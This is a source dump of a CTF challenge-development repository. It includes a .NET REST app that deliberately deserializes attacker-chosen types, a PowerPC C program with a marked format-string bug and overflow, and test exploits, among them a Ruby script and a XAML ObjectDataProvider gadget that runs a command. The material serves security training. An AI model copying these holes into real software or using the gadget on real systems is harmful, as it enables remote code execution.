├── .gitignore ├── LICENSE ├── README.md ├── challenges.json ├── challenges ├── dotnet-deserialization │ ├── .dockerignore │ ├── .gitignore │ ├── Dockerfile │ ├── README.md │ ├── data │ │ └── microsoft.asc │ ├── restapp │ │ ├── .gitignore │ │ ├── .vscode │ │ │ ├── launch.json │ │ │ └── tasks.json │ │ ├── Program.cs │ │ └── restapp.csproj │ ├── start.sh │ └── test │ │ ├── DeserializationTest │ │ ├── .gitignore │ │ ├── .vscode │ │ │ ├── launch.json │ │ │ └── tasks.json │ │ ├── DeserializationTest.csproj │ │ └── Program.cs │ │ └── exploit │ │ ├── exploit.rb │ │ ├── product.xml │ │ ├── testxml.xml │ │ ├── testxml2.xml │ │ └── testyso.xml ├── ppc32-simple-fmt │ ├── Dockerfile │ ├── README.md │ ├── src │ │ └── fmt.c │ └── start.sh ├── x86-64-negative-indexing │ ├── Dockerfile │ ├── Makefile │ ├── README.md │ ├── src │ │ └── ngix.c │ └── start.sh ├── x86-64-sandbox-BO │ ├── .gitignore │ ├── Dockerfile │ ├── Makefile │ ├── README.md │ ├── src │ │ └── sandbox.c │ ├── start.sh │ └── test │ │ └── exploit.rb └── x86-64-uniemu │ ├── Dockerfile │ ├── Makefile │ ├── README.md │ ├── install_unicorn.sh │ ├── src │ └── unimu.c │ ├── start.sh │ └── test │ └── uaf.c ├── dev ├── Vagrantfile └── checksec.sh ├── docker-compose.yml ├── nginx-static-server └── Dockerfile ├── scripts └── firewall.sh └── tmp └── EMPTY /.gitignore: -------------------------------------------------------------------------------- 1 | a.out 2 | 3 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2018 Abhisek Datta 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # CTF Works 2 | 3 | Tools and scripts for CTF `exploit/pwnable` challenge development. 4 | 5 | ## Challenge Organization 6 | 7 | * Each challenge goes in its own directory in challenges/${challenge} 8 | * Each challenge must be packaged as a `docker` container and must have a `Dockerfile` 9 | * Challenges can share `binaries` or any other file for distribution after packaging through /shared (if exists during runtime). Check `start.sh` in `ppc32-simple-fmt` challenge. 10 | * Challenge meta data must go in `challenges.json` 11 | 12 | > Challenge developers must ensure that non-root privilege is obtained after exploiting target. Otherise the `server/socat` process will be killed by the attacker. 13 | 14 | Currently we are using following `socat` command line to fork and execute as a different user: 15 | 16 | ```bash 17 | $ socat -dd TCP4-LISTEN:9000,fork,reuseaddr EXEC:/pwnable,pty,setuid=bob,echo=0,raw,iexten=0 18 | ``` 19 | 20 | ## Flags 21 | 22 | The flag for each challenge will be available from process `environment variable`. The name of the environment variable can be any of the following: 23 | 24 | * FLAG 25 | * PWNFLAG 26 | * PFLAG 27 | * FLAG-FOR-PWNS 28 | 29 | > Some challenges may still require flag to be in a file. 30 | 31 | ## Development Environment 32 | 33 | Create the virtual machine with `Vagrant` 34 | 35 | ``` 36 | $ vagrant up 37 | ``` 38 | 39 | Login with SSH and create ssh keys 40 | 41 | ``` 42 | $ vagrant ssh 43 | $ ssh-keygen 44 | ``` 45 | 46 | The generated public need to be added to Bitbucket for repository access from inside the development environment. Do not forget to remove the keys from Bitbucket once development environment is no longer required. 47 | 48 | 49 | -------------------------------------------------------------------------------- /challenges.json: -------------------------------------------------------------------------------- 1 | [ 2 | { 3 | "name": "ppc32-simple-fmt", 4 | "description": { 5 | "internal": "Simple format string exploitation for PPC32", 6 | "external": "Exploit the server at ${HOST}:${PORT}. The binary is available at ${BINARY_SOURCE}" 7 | }, 8 | "difficulty": "Low", 9 | "solved": false, 10 | "flag": { 11 | "source": "environment", 12 | "target": "PWNFLAG" 13 | } 14 | } 15 | ] 16 | -------------------------------------------------------------------------------- /challenges/dotnet-deserialization/.dockerignore: -------------------------------------------------------------------------------- 1 | *.dll 2 | *.exe 3 | *.pdb 4 | restapp/bin 5 | restapp/obj 6 | restapp/.vscode 7 | 8 | 9 | 10 | 11 | 12 | -------------------------------------------------------------------------------- /challenges/dotnet-deserialization/.gitignore: -------------------------------------------------------------------------------- 1 | *.dll 2 | *.exe 3 | *.pdb 4 | *.obj 5 | restapp/bin 6 | restapp/obj 7 | test/DeserializationTest/bin 8 | test/DeserializationTest/obj 9 | 10 | -------------------------------------------------------------------------------- /challenges/dotnet-deserialization/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:16.04 2 | 3 | RUN apt-get update 4 | RUN apt-get install -y apt-transport-https 5 | 6 | COPY data/microsoft.asc /tmp/microsoft.asc 7 | RUN gpg --dearmor < /tmp/microsoft.asc > /tmp/microsoft.gpg 8 | RUN mv /tmp/microsoft.gpg /etc/apt/trusted.gpg.d/microsoft.gpg 9 | RUN echo "deb [arch=amd64] https://packages.microsoft.com/repos/microsoft-ubuntu-xenial-prod xenial main" > /etc/apt/sources.list.d/dotnetdev.list 10 | 11 | RUN apt-get update 12 | RUN apt-get install -y build-essential redir curl dotnet-sdk-2.1.4 zip 13 | 14 | WORKDIR /app/src/restapp 15 | COPY restapp/. . 16 | RUN dotnet publish --configuration Release --output /app/bin 17 | RUN rm -rf /app/bin/restapp.pdb 18 | 19 | WORKDIR /app 20 | RUN rm -rf /app/src 21 | 22 | COPY start.sh /start.sh 23 | RUN chmod 755 /start.sh 24 | 25 | RUN useradd -m bob 26 | EXPOSE 9000 27 | 28 | CMD ["/start.sh"] 29 | 30 | 31 | 32 | -------------------------------------------------------------------------------- /challenges/dotnet-deserialization/README.md: -------------------------------------------------------------------------------- 1 | # .NET Deserialization Attack 2 | 3 | ## Learning Objective 4 | 5 | * .NET Framework 6 | * C# Language and CLR 7 | * Deserialization attacks against .NET Framework 8 | 9 | ## Deserialization Attacks 10 | 11 | The vulnerability exists due to an attacker's ability to load and run `deserialization callback` methods in any arbitrary class in application's classpath. Depending on the `deserialization callbacks` and availability of usable libraries for gadgets, an attacker may execute arbitrary code by exploiting the scenario. 12 | 13 | Good example available at: 14 | https://cert.360.cn/warning/detail?id=e689288863456481733e01b093c986b6 15 | 16 | For attacking `XML Deserializer`, there are certain constraints suchs as: 17 | 18 | * `Type name` should be attacker controlled as `XML Deserializer` seem to validate explicit type (Strict type control) 19 | * Only `public` classes can be targeted during deserialization 20 | 21 | ## Usage 22 | 23 | ```bash 24 | $ docker build -t dotnet-serial-pwn . 25 | $ docker run --rm --name dotnet-serial-pwn -p 9000:9000 dotnet-serial-pwn 26 | ``` 27 | 28 | ## References 29 | 30 | * https://speakerdeck.com/pwntester/attacking-net-serialization 31 | * https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf 32 | * https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_Slides.pdf 33 | 34 | 35 | 36 | -------------------------------------------------------------------------------- /challenges/dotnet-deserialization/data/microsoft.asc: -------------------------------------------------------------------------------- 1 | -----BEGIN PGP PUBLIC KEY BLOCK----- 2 | Version: GnuPG v1.4.7 (GNU/Linux) 3 | 4 | mQENBFYxWIwBCADAKoZhZlJxGNGWzqV+1OG1xiQeoowKhssGAKvd+buXCGISZJwT 5 | LXZqIcIiLP7pqdcZWtE9bSc7yBY2MalDp9Liu0KekywQ6VVX1T72NPf5Ev6x6DLV 6 | 7aVWsCzUAF+eb7DC9fPuFLEdxmOEYoPjzrQ7cCnSV4JQxAqhU4T6OjbvRazGl3ag 7 | OeizPXmRljMtUUttHQZnRhtlzkmwIrUivbfFPD+fEoHJ1+uIdfOzZX8/oKHKLe2j 8 | H632kvsNzJFlROVvGLYAk2WRcLu+RjjggixhwiB+Mu/A8Tf4V6b+YppS44q8EvVr 9 | M+QvY7LNSOffSO6Slsy9oisGTdfE39nC7pVRABEBAAG0N01pY3Jvc29mdCAoUmVs 10 | ZWFzZSBzaWduaW5nKSA8Z3Bnc2VjdXJpdHlAbWljcm9zb2Z0LmNvbT6JATUEEwEC 11 | AB8FAlYxWIwCGwMGCwkIBwMCBBUCCAMDFgIBAh4BAheAAAoJEOs+lK2+EinPGpsH 12 | /32vKy29Hg51H9dfFJMx0/a/F+5vKeCeVqimvyTM04C+XENNuSbYZ3eRPHGHFLqe 13 | MNGxsfb7C7ZxEeW7J/vSzRgHxm7ZvESisUYRFq2sgkJ+HFERNrqfci45bdhmrUsy 14 | 7SWw9ybxdFOkuQoyKD3tBmiGfONQMlBaOMWdAsic965rvJsd5zYaZZFI1UwTkFXV 15 | KJt3bp3Ngn1vEYXwijGTa+FXz6GLHueJwF0I7ug34DgUkAFvAs8Hacr2DRYxL5RJ 16 | XdNgj4Jd2/g6T9InmWT0hASljur+dJnzNiNCkbn9KbX7J/qK1IbR8y560yRmFsU+ 17 | NdCFTW7wY0Fb1fWJ+/KTsC4= 18 | =J6gs 19 | -----END PGP PUBLIC KEY BLOCK----- 20 | -------------------------------------------------------------------------------- /challenges/dotnet-deserialization/restapp/.gitignore: -------------------------------------------------------------------------------- 1 | obj/Debug 2 | obj/Release 3 | bin/Debug 4 | bin/Release 5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /challenges/dotnet-deserialization/restapp/.vscode/launch.json: -------------------------------------------------------------------------------- 1 | { 2 | // Use IntelliSense to find out which attributes exist for C# debugging 3 | // Use hover for the description of the existing attributes 4 | // For further information visit https://github.com/OmniSharp/omnisharp-vscode/blob/master/debugger-launchjson.md 5 | "version": "0.2.0", 6 | "configurations": [ 7 | { 8 | "name": ".NET Core Launch (console)", 9 | "type": "coreclr", 10 | "request": "launch", 11 | "preLaunchTask": "build", 12 | // If you have changed target frameworks, make sure to update the program path. 13 | "program": "${workspaceFolder}/bin/Debug/netcoreapp2.0/restapp.dll", 14 | "args": [], 15 | "cwd": "${workspaceFolder}", 16 | // For more information about the 'console' field, see https://github.com/OmniSharp/omnisharp-vscode/blob/master/debugger-launchjson.md#console-terminal-window 17 | "console": "internalConsole", 18 | "stopAtEntry": false, 19 | "internalConsoleOptions": "openOnSessionStart" 20 | }, 21 | { 22 | "name": ".NET Core Attach", 23 | "type": "coreclr", 24 | "request": "attach", 25 | "processId": "${command:pickProcess}" 26 | } 27 | ] 28 | } -------------------------------------------------------------------------------- /challenges/dotnet-deserialization/restapp/.vscode/tasks.json: -------------------------------------------------------------------------------- 1 | { 2 | "version": "2.0.0", 3 | "tasks": [ 4 | { 5 | "taskName": "build", 6 | "command": "dotnet", 7 | "type": "process", 8 | "args": [ 9 | "build", 10 | "${workspaceFolder}/restapp.csproj" 11 | ], 12 | "problemMatcher": "$msCompile" 13 | } 14 | ] 15 | } -------------------------------------------------------------------------------- /challenges/dotnet-deserialization/restapp/Program.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Text; 3 | using System.Collections; 4 | using System.Collections.Generic; 5 | using Nancy; 6 | using Nancy.IO; 7 | using Nancy.Extensions; 8 | using Nancy.Hosting.Self; 9 | using System.Xml; 10 | using System.Xml.Serialization; 11 | using System.IO; 12 | using System.Runtime.Serialization.Formatters.Binary; 13 | using System.Threading; 14 | 15 | namespace restapp 16 | { 17 | public class Product 18 | { 19 | public string Name; 20 | public string Description; 21 | public string ImageURL; 22 | } 23 | 24 | public class ProductController : NancyModule 25 | { 26 | public static Product[] stockProducts = { 27 | new Product { Name = "Product1", Description = "Sample Product", ImageURL = "NA" }, 28 | new Product { Name = "Product2", Description = "Sample Product", ImageURL = "NA" }, 29 | new Product { Name = "Product3", Description = "Sample Product", ImageURL = "NA" } 30 | }; 31 | 32 | public static List products = new List(stockProducts); 33 | 34 | public ProductController() : base("/products") { 35 | Get("/", _ => 36 | { 37 | XmlRootAttribute root = new XmlRootAttribute("Products"); 38 | XmlSerializer xmlSerializer = new XmlSerializer(typeof(Product[]), root); 39 | 40 | Console.WriteLine("Handling GET on /products"); 41 | 42 | using(StringWriter textWriter = new StringWriter()) 43 | { 44 | xmlSerializer.Serialize(textWriter, products.ToArray()); 45 | return textWriter.ToString(); 46 | } 47 | }); 48 | 49 | Get("/{name}", parameters => 50 | { 51 | XmlSerializer xmlSerializer = new XmlSerializer(typeof(Product)); 52 | 53 | Console.WriteLine("Handling GET on /products/{name}"); 54 | 55 | for(int i = 0; i < products.Count; i++) 56 | { 57 | if(parameters.name.ToString().Equals(products[i].Name.ToString())) { 58 | using(StringWriter textWriter = new StringWriter()) { 59 | xmlSerializer.Serialize(textWriter, products[i]); 60 | return textWriter.ToString(); 61 | } 62 | } 63 | } 64 | 65 | return "Not Found"; 66 | }); 67 | 68 | Post("/", parameters => 69 | { 70 | XmlSerializer xmlSerializer = new XmlSerializer(typeof(Product)); 71 | string payload = ((RequestStream) this.Request.Body).AsString(); 72 | string authData = this.Request.Headers.Authorization; 73 | 74 | Hashtable authInfo = new Hashtable(); 75 | Boolean isAuthenticated = false; 76 | 77 | Console.WriteLine("Handling POST on /products"); 78 | 79 | try { 80 | authInfo = DecodeAuthMethod(authData); 81 | } 82 | catch(Exception exception) { 83 | Console.WriteLine("Failed to decode auth data: " + exception.Message); 84 | } 85 | 86 | if(authInfo.ContainsKey("basic")) 87 | { 88 | Hashtable basicAuth = (Hashtable) authInfo["basic"]; 89 | try { 90 | if(basicAuth["token"].Equals("5daba5b0885a65b222216bf46b083538")) 91 | { 92 | isAuthenticated = true; 93 | } 94 | } 95 | catch(Exception exception) { 96 | Console.WriteLine("Error in authInfo: " + exception.Message); 97 | } 98 | } 99 | 100 | if(! isAuthenticated) { 101 | return "Unauthorized"; 102 | } 103 | 104 | using (TextReader reader = new StringReader(payload)) 105 | { 106 | try { 107 | Product p = (Product) xmlSerializer.Deserialize(reader); 108 | 109 | if(products.Count < 10) { 110 | products.Add(p); 111 | return "Success"; 112 | } 113 | else { 114 | return "Too many objects"; 115 | } 116 | } 117 | catch(Exception exception) { 118 | return "" + exception.Message + ""; 119 | } 120 | } 121 | }); 122 | } 123 | 124 | // https://speakerdeck.com/pwntester/attacking-net-serialization 125 | // https://cert.360.cn/warning/detail?id=e689288863456481733e01b093c986b6 126 | public Hashtable DecodeAuthMethod(string data) 127 | { 128 | Hashtable table = new Hashtable(); 129 | 130 | if(String.IsNullOrEmpty(data)) 131 | return table; 132 | 133 | Console.WriteLine("Decoding AuthData"); 134 | 135 | byte[] db = Convert.FromBase64String(data); 136 | string decodedData = Encoding.UTF8.GetString(db); 137 | 138 | var xmlDoc = new XmlDocument(); 139 | xmlDoc.LoadXml(decodedData); 140 | 141 | Console.WriteLine("Loaded AuthData XML"); 142 | 143 | foreach(XmlElement xmlItem in xmlDoc.SelectNodes("AuthData/Item")) 144 | { 145 | string key = xmlItem.GetAttribute("key"); 146 | string typeName = xmlItem.GetAttribute("type"); 147 | 148 | //Console.WriteLine("Going to deserialize for key: " + key + " type: " + typeName); 149 | 150 | if(String.IsNullOrEmpty(typeName)) 151 | continue; 152 | 153 | if(typeName.Equals("BinaryType")) { 154 | var xbin = new BinaryFormatter(); 155 | var stream = new MemoryStream(Convert.FromBase64String(xmlItem.InnerXml)); 156 | 157 | table.Add(key, xbin.Deserialize(stream)); 158 | } 159 | else { 160 | var xser = new XmlSerializer(Type.GetType(typeName)); 161 | var reader = new XmlTextReader(new StringReader(xmlItem.InnerXml)); 162 | 163 | table.Add(key, xser.Deserialize(reader)); 164 | } 165 | } 166 | 167 | // For debugging 168 | // foreach(string key in table.Keys) { Console.WriteLine(String.Format("{0}: {1}", key, table[key])); } 169 | 170 | return table; 171 | } 172 | } 173 | 174 | public class MainController : NancyModule 175 | { 176 | public MainController() : base("/") { 177 | Get("/", _ => 178 | { 179 | return "Welcome to REST API v1.1\nREST API Endpoint /products is available."; 180 | }); 181 | } 182 | } 183 | 184 | class Program 185 | { 186 | private static Boolean isRunning; 187 | 188 | static void Main(string[] args) 189 | { 190 | var urlHost = "127.0.0.1"; 191 | var urlPort = Environment.GetEnvironmentVariable("PORT") ?? "8000"; 192 | var url = "http://" + urlHost + ":" + urlPort; 193 | 194 | Console.CancelKeyPress += delegate(object sender, ConsoleCancelEventArgs e) { 195 | e.Cancel = true; 196 | Program.isRunning = false; 197 | }; 198 | 199 | using (var host = new NancyHost(new Uri(url))) 200 | { 201 | host.Start(); 202 | Console.WriteLine("Running on " + url); 203 | 204 | Program.isRunning = true; 205 | while(Program.isRunning) 206 | { 207 | Thread.Sleep(1000); 208 | } 209 | 210 | host.Stop(); 211 | Console.WriteLine("Terminating server"); 212 | } 213 | } 214 | } 215 | } 216 | -------------------------------------------------------------------------------- /challenges/dotnet-deserialization/restapp/restapp.csproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | Exe 5 | netcoreapp2.0 6 | 7 | 8 | 9 | NU1701 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | -------------------------------------------------------------------------------- /challenges/dotnet-deserialization/start.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | if [ -d "/shared" ] && [ -v CHALLENGE_NAME ]; then 4 | #cp /app/bin/restapp.dll /shared/$CHALLENGE_NAME.bin 5 | #md5sum --tag /app/bin/restapp.dll > /shared/$CHALLENGE_NAME.bin.md5 6 | zip -r /app/bin /shared/$CHALLENGE_NAME.zip 7 | md5sum --tag /shared/$CHALLENGE_NAME.zip > /shared/$CHALLENGE_NAME.zip.md5 8 | fi; 9 | 10 | cd /app 11 | redir --laddr=0.0.0.0 --lport=9000 --caddr=127.0.0.1 --cport=8000 > /dev/null 2>&1 & 12 | 13 | while [ true ]; do 14 | su bob -c "dotnet /app/bin/restapp.dll" 15 | sleep 1 16 | done; 17 | 18 | -------------------------------------------------------------------------------- /challenges/dotnet-deserialization/test/DeserializationTest/.gitignore: -------------------------------------------------------------------------------- 1 | obj/Debug 2 | obj/Release 3 | bin/Debug 4 | bin/Release 5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /challenges/dotnet-deserialization/test/DeserializationTest/.vscode/launch.json: -------------------------------------------------------------------------------- 1 | { 2 | // Use IntelliSense to find out which attributes exist for C# debugging 3 | // Use hover for the description of the existing attributes 4 | // For further information visit https://github.com/OmniSharp/omnisharp-vscode/blob/master/debugger-launchjson.md 5 | "version": "0.2.0", 6 | "configurations": [ 7 | { 8 | "name": ".NET Core Launch (console)", 9 | "type": "coreclr", 10 | "request": "launch", 11 | "preLaunchTask": "build", 12 | // If you have changed target frameworks, make sure to update the program path. 13 | "program": "${workspaceFolder}/bin/Debug/netcoreapp2.0/DeserializationTest.dll", 14 | "args": [], 15 | "cwd": "${workspaceFolder}", 16 | // For more information about the 'console' field, see https://github.com/OmniSharp/omnisharp-vscode/blob/master/debugger-launchjson.md#console-terminal-window 17 | "console": "internalConsole", 18 | "stopAtEntry": false, 19 | "internalConsoleOptions": "openOnSessionStart" 20 | }, 21 | { 22 | "name": ".NET Core Attach", 23 | "type": "coreclr", 24 | "request": "attach", 25 | "processId": "${command:pickProcess}" 26 | } 27 | ] 28 | } -------------------------------------------------------------------------------- /challenges/dotnet-deserialization/test/DeserializationTest/.vscode/tasks.json: -------------------------------------------------------------------------------- 1 | { 2 | "version": "2.0.0", 3 | "tasks": [ 4 | { 5 | "taskName": "build", 6 | "command": "dotnet", 7 | "type": "process", 8 | "args": [ 9 | "build", 10 | "${workspaceFolder}/DeserializationTest.csproj" 11 | ], 12 | "problemMatcher": "$msCompile" 13 | } 14 | ] 15 | } -------------------------------------------------------------------------------- /challenges/dotnet-deserialization/test/DeserializationTest/DeserializationTest.csproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | Exe 5 | netcoreapp2.0 6 | 7 | 8 | 9 | -------------------------------------------------------------------------------- /challenges/dotnet-deserialization/test/DeserializationTest/Program.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.IO; 3 | using System.Collections; 4 | using System.Collections.Generic; 5 | using System.Runtime.Serialization.Formatters.Binary; 6 | using System.Runtime.Serialization; 7 | using System.Xml; 8 | using System.Xml.Serialization; 9 | 10 | /* 11 | BinaryFormatter 12 | https://msdn.microsoft.com/en-us/library/system.runtime.serialization.formatters.binary.binaryformatter(v=vs.110).aspx 13 | 14 | */ 15 | 16 | namespace DeserializationTest 17 | { 18 | public class SampleEntity 19 | { 20 | public string name; 21 | public string address; 22 | } 23 | 24 | class Program 25 | { 26 | static void CreateXMLSerializedFile(string path, SampleEntity[] entities) 27 | { 28 | XmlRootAttribute root = new XmlRootAttribute("Entities"); 29 | XmlSerializer serializer = new XmlSerializer(typeof(SampleEntity[]), root); 30 | TextWriter writer = new StreamWriter(path); 31 | 32 | serializer.Serialize(writer, entities); 33 | writer.Close(); 34 | } 35 | 36 | static SampleEntity[] ReadXMLSerializedFile(string path) 37 | { 38 | SampleEntity[] entities; 39 | FileStream fs = new FileStream(path, FileMode.Open); 40 | XmlReader reader = XmlReader.Create(fs); 41 | 42 | XmlRootAttribute root = new XmlRootAttribute("Entities"); 43 | XmlSerializer serializer = new XmlSerializer(typeof(SampleEntity[]), root); 44 | 45 | entities = (SampleEntity[]) serializer.Deserialize(reader); 46 | reader.Close(); 47 | 48 | return entities; 49 | } 50 | 51 | static void CreateBinaryFormatterFile(string path, object obj) 52 | { 53 | FileStream fs = new FileStream(path, FileMode.Create); 54 | BinaryFormatter formatter = new BinaryFormatter(); 55 | 56 | formatter.Serialize(fs, obj); 57 | fs.Close(); 58 | } 59 | 60 | static Hashtable ReadBinaryFormattedFile(string path) 61 | { 62 | Hashtable h = new Hashtable(); 63 | FileStream fs = new FileStream(path, FileMode.Open); 64 | 65 | BinaryFormatter formatter = new BinaryFormatter(); 66 | h = (Hashtable) formatter.Deserialize(fs); 67 | fs.Close(); 68 | 69 | return h; 70 | } 71 | 72 | static void Main(string[] args) 73 | { 74 | Hashtable addresses = new Hashtable(); 75 | 76 | addresses.Add("Jeff", "123 Main Street, Redmond, WA 98052"); 77 | addresses.Add("Fred", "987 Pine Road, Phila., PA 19116"); 78 | addresses.Add("Mary", "PO Box 112233, Palo Alto, CA 94301"); 79 | 80 | if(args.Length > 1) { 81 | string cmd = args[0]; 82 | string file = args[1]; 83 | 84 | if(cmd.Equals("bin")) { 85 | Console.WriteLine("Running BinaryFormatter test"); 86 | 87 | //Console.WriteLine("Creating file: " + file); 88 | //CreateBinaryFormatterFile(file, addresses); 89 | 90 | addresses = ReadBinaryFormattedFile(file); 91 | Console.WriteLine("Addr of Jeff: " + addresses["Jeff"].ToString()); 92 | } 93 | else if(cmd.Equals("xml")) { 94 | SampleEntity[] entities = { 95 | new SampleEntity { name = "Jeff", address = "123 Main Street, Redmond, WA 98052"}, 96 | new SampleEntity { name = "Fred", address = "987 Pine Road, Phila., PA 19116"}, 97 | new SampleEntity { name = "Mary", address = "PO Box 112233, Palo Alto, CA 94301"} 98 | }; 99 | 100 | Console.WriteLine("Running XML serializer test"); 101 | 102 | //Console.WriteLine("Creating file: " + file); 103 | //CreateXMLSerializedFile(file, entities); 104 | 105 | Console.WriteLine("Reading XML data file: " + file); 106 | SampleEntity[] readEntities = ReadXMLSerializedFile(file); 107 | 108 | if(readEntities.Length > 0) 109 | Console.WriteLine("Address of Jeff: " + readEntities[0].address); 110 | else 111 | Console.WriteLine("No entity in array"); 112 | } 113 | } 114 | } 115 | } 116 | } 117 | -------------------------------------------------------------------------------- /challenges/dotnet-deserialization/test/exploit/exploit.rb: -------------------------------------------------------------------------------- 1 | require 'uri' 2 | require 'net/http' 3 | require 'base64' 4 | 5 | def get_payload() 6 | data = File.binread(ARGV[0] || "testxml.xml") 7 | return Base64.strict_encode64(data) 8 | end 9 | 10 | if __FILE__ == $0 11 | uri = ::URI.parse("http://127.0.0.1:8000/products") 12 | http = Net::HTTP.new(uri.host,uri.port) 13 | request = Net::HTTP::Post.new(uri.path) 14 | request["Authorization"] = get_payload() 15 | request.body = File.binread("product.xml") 16 | 17 | res = http.request(request) 18 | puts res.body 19 | end 20 | -------------------------------------------------------------------------------- /challenges/dotnet-deserialization/test/exploit/product.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | Product Updated 4 | Sample Product 5 | NA 6 | 7 | 8 | -------------------------------------------------------------------------------- /challenges/dotnet-deserialization/test/exploit/testxml.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | false 5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /challenges/dotnet-deserialization/test/exploit/testxml2.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | false 5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /challenges/dotnet-deserialization/test/exploit/testyso.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | Parse 8 | 9 | 10 | <ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:System="clr-namespace:System;assembly=mscorlib" xmlns:Diag="clr-namespace:System.Diagnostics;assembly=system"> 11 | <ObjectDataProvider x:Key="LaunchCmd" ObjectType="{x:Type Diag:Process}" MethodName="Start"> 12 | <ObjectDataProvider.MethodParameters> 13 | <System:String>touch</System:String> 14 | <System:String>/tmp/PWN</System:String> 15 | </ObjectDataProvider.MethodParameters> 16 | </ObjectDataProvider> 17 | </ResourceDictionary> 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | -------------------------------------------------------------------------------- /challenges/ppc32-simple-fmt/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:16.04 2 | RUN apt-get update 3 | RUN apt-get install -y gcc-4.8-powerpc-linux-gnu qemu-user socat 4 | RUN apt-get install -y net-tools 5 | 6 | RUN mkdir /shared 7 | WORKDIR /app 8 | 9 | # Wrapper scripts 10 | COPY start.sh /start.sh 11 | RUN chmod 755 /start.sh 12 | 13 | # Compile binary and remove source code 14 | COPY src/fmt.c . 15 | RUN powerpc-linux-gnu-gcc-4.8 -Wno-format-security -s -o /pwnable fmt.c -static 16 | RUN rm -rf fmt.c 17 | 18 | RUN useradd -m bob 19 | EXPOSE 9000 20 | 21 | CMD ["/start.sh"] 22 | 23 | 24 | -------------------------------------------------------------------------------- /challenges/ppc32-simple-fmt/README.md: -------------------------------------------------------------------------------- 1 | # Learning Objective 2 | 3 | * PowerPC (32) asm 4 | 5 | # Description 6 | 7 | Simple format string exploitation to read flag from environment variable. 8 | 9 | # Usage 10 | 11 | ``` 12 | $ docker build -t ppc32-simple-fmt . 13 | $ docker run --rm --name ppc32-simple-fmt -p 9000:9000 ppc32-simple-fmt 14 | ``` 15 | -------------------------------------------------------------------------------- /challenges/ppc32-simple-fmt/src/fmt.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | //#define DEBUG 8 | #define STDIN 0 9 | #define STDOUT 1 10 | 11 | // Why so global? 12 | static char sbuf1[1024]; 13 | static char sbuf2[1024]; 14 | 15 | static 16 | void (*x_printf)() = (void*) &printf; // Who doesn't like a lookup in IDA? 17 | 18 | static 19 | const char *to_env_name(const char *key) 20 | { 21 | static char env_name[1024]; 22 | 23 | memset(env_name, 0, sizeof(env_name)); 24 | snprintf(env_name, sizeof(env_name) - 1, "XP_%s", key); 25 | 26 | return env_name; 27 | } 28 | 29 | static 30 | void do_set() 31 | { 32 | char *key = (char*) sbuf1; 33 | char *val = (char*) sbuf2; 34 | 35 | //printf("Setting %s=%s\n", key, val); 36 | setenv(to_env_name(key), val, 1); 37 | } 38 | 39 | static 40 | void do_get() 41 | { 42 | char *key = (char*) sbuf1; 43 | char *val = getenv(to_env_name(sbuf1)); 44 | 45 | #ifdef DEBUG 46 | int stack_var; 47 | char *p = getenv("PWNFLAG"); 48 | 49 | printf("Stack var: 0x%016" PRIxPTR " Env: 0x%016" PRIxPTR "\n", 50 | (uintptr_t) &stack_var, (uintptr_t) p); 51 | #endif 52 | 53 | if(val == NULL) 54 | val = "NOT-FOUND"; 55 | 56 | printf("--- %s ---\n", sbuf1); 57 | x_printf(val); // Easy peasie format string 58 | printf("\n--- END ---\n"); 59 | } 60 | 61 | static 62 | int dispatch(const char *cmd) 63 | { 64 | 65 | if(!strncmp(cmd, "exit", 4)) { 66 | return 0; 67 | } 68 | else if(!strncmp(cmd, "set", 3)) { 69 | memset(sbuf1, 0, sizeof(sbuf1)); 70 | memset(sbuf2, 0, sizeof(sbuf2)); 71 | 72 | if(sscanf(cmd, "set %s %s", sbuf1, sbuf2) == 2) // Overflow here 73 | do_set(); 74 | } 75 | else if(!strncmp(cmd, "get", 3)) { 76 | memset(sbuf1, 0, sizeof(sbuf1)); 77 | memset(sbuf2, 0, sizeof(sbuf2)); 78 | 79 | if(sscanf(cmd, "get %s", sbuf1) > 0) 80 | do_get(); 81 | } 82 | 83 | return 1; 84 | } 85 | 86 | static 87 